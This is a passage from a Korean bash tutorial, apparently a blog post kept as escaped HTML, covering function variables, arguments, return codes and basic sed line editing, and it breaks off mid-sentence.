&lt;p&gt;아래 예제 코드와 같이 함수 내부에서 변수를 생성하더라도 함수 밖에서 변수를 사용할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;func&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;test&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;var1 : &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; func &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;var : &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# output&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# var1 : test&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# var : test&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이를 방지하기 위해서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;local&lt;/code&gt; 키워드를 사용한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;func&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;local &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;test&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;var1 : &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; func &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;var : &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# output&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# var1 : test&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# var :&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;함수의-argument를-사용하고-싶어요&quot;&gt;함수의 argument를 사용하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$1&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$2&lt;/code&gt;, … &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$n&lt;/code&gt; 으로 사용할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;func&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;first arg: &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;second arg: &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; func &lt;span class=&quot;s2&quot;&gt;&quot;qwer&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;asdf zxcv&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# output&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# first arg: qwer&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# second arg: asdf zxcv&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;함수에-전달된-argument의-갯수를-알고-싶어요&quot;&gt;함수에 전달된 argument의 갯수를 알고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$#&lt;/code&gt; 으로 사용할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;func&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;argument count: &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${#}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; func &lt;span class=&quot;s2&quot;&gt;&quot;qwer&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;asdf zxcv&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;1234&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# output&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# argument count: 3&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;함수에-전달된-argument를-전부-출력하고-싶어요&quot;&gt;함수에 전달된 argument를 전부 출력하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$@&lt;/code&gt; 으로 사용할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;func&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;argument: &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; func &lt;span class=&quot;s2&quot;&gt;&quot;1234&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;qwer&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;asdf zxcv&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# output&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# argument: 1234 qwer asdf zxcv&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;함수에-전달된-argument를-일부-출력하고-싶어요&quot;&gt;함수에 전달된 argument를 일부 출력하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${@:&amp;lt;시작 index&amp;gt;: &amp;lt;갯수&amp;gt;}&lt;/code&gt; 로 사용할 수 있다. &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;시작 index&amp;gt;&lt;/code&gt; 는 1부터 시작한다. &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;갯수&amp;gt;&lt;/code&gt; 는 생략할 수 있다. 생략하면 시작 index부터 끝까지 출력한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;func&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;:2:3&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; func aa &lt;span class=&quot;s2&quot;&gt;&quot;sss sss&quot;&lt;/span&gt; bbb ccc ddd &lt;span class=&quot;c&quot;&gt;# output&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# aa&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# aa sss sss bbb ccc ddd&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# sss sss bbb ccc&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;선언한-함수를-삭제하고-싶어요&quot;&gt;선언한 함수를 삭제하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unset&lt;/code&gt; 으로 삭제할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;func&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;func&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; func &lt;span class=&quot;nb&quot;&gt;unset &lt;/span&gt;func &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;함수를-도중에-종료하고-싶어요&quot;&gt;함수를 도중에 종료하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;return&lt;/code&gt; 으로 종료할 수 있다. &lt;br /&gt; &lt;strong&gt;return을 사용한다고 해서 함수의 값을 반환할 수 있는 것은 아니다.&lt;/strong&gt; &lt;br /&gt; &lt;strong&gt;return 후 0~255 사이의 값을 전달하여 함수의 종료코드를 전달할 수 있다.&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;func&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$# &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-eq&lt;/span&gt; 0 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;argument is empty&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return &lt;/span&gt;1 &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; func &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$?&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 1&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;함수의-값을-반환하고-싶어요&quot;&gt;함수의 값을 반환하고 싶어요&lt;/h3&gt; &lt;p&gt;방법이 없다.. &lt;br /&gt; 편법을 쓰자면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo&lt;/code&gt; 를 이용하여 값을 반환하는 척 할 수는 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;func&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$@&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;qwer&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;qwerty&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return fi &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;test&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;func &lt;span class=&quot;s2&quot;&gt;&quot;qwer&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$var1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# qwerty&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h1 id=&quot;번외-sed-사용법&quot;&gt;번외 sed 사용법&lt;/h1&gt; &lt;p&gt;sed 를 제대로 사용할 수 있으면 정말 유용하다.&lt;/p&gt; &lt;h2 id=&quot;특정-라인-출력&quot;&gt;특정 라인 출력&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;file.txt의 3번째 라인을 출력&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;3p&apos;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;file.txt의 1~3 라인을 출력&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;1,3p&apos;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;파일이 아닌 cat, echo 내용도 출력할 수 있다.&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;3p&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;file.txt | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;1,3p&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;특정-라인을-삭제&quot;&gt;특정 라인을 삭제&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;file.txt의 3번째 라인을 삭제&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;3d&apos;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;file.txt의 1~3 라인을 삭제&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;1,3d&apos;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;특정-라인을-변경&quot;&gt;특정 라인을 변경&lt;/h2&gt; &lt;p&gt;사용방법&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# &amp;lt;라인&amp;gt;의 &amp;lt;찾을문자열&amp;gt;을 &amp;lt;바꿀문자열&amp;gt;로 변경&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;라인&amp;gt;s/찾을문자열/바꿀문자열/&quot;&lt;/span&gt; &amp;lt;파일명&amp;gt; &lt;span class=&quot;c&quot;&gt;# &amp;lt;라인1&amp;gt;~&amp;lt;라인2&amp;gt;의 &amp;lt;찾을문자열&amp;gt;을 &amp;lt;바꿀문자열&amp;gt;로 변경&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;라인1&amp;gt;,&amp;lt;라인2&amp;gt;s/찾을문자열/바꿀문자열/&quot;&lt;/span&gt; &amp;lt;파일명&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;3번째 라인 전체를 asdf asdf로 변경&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;3s/.*/asdf asdf/&quot;&lt;/span&gt; file.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;2~3번째 라인 전체를 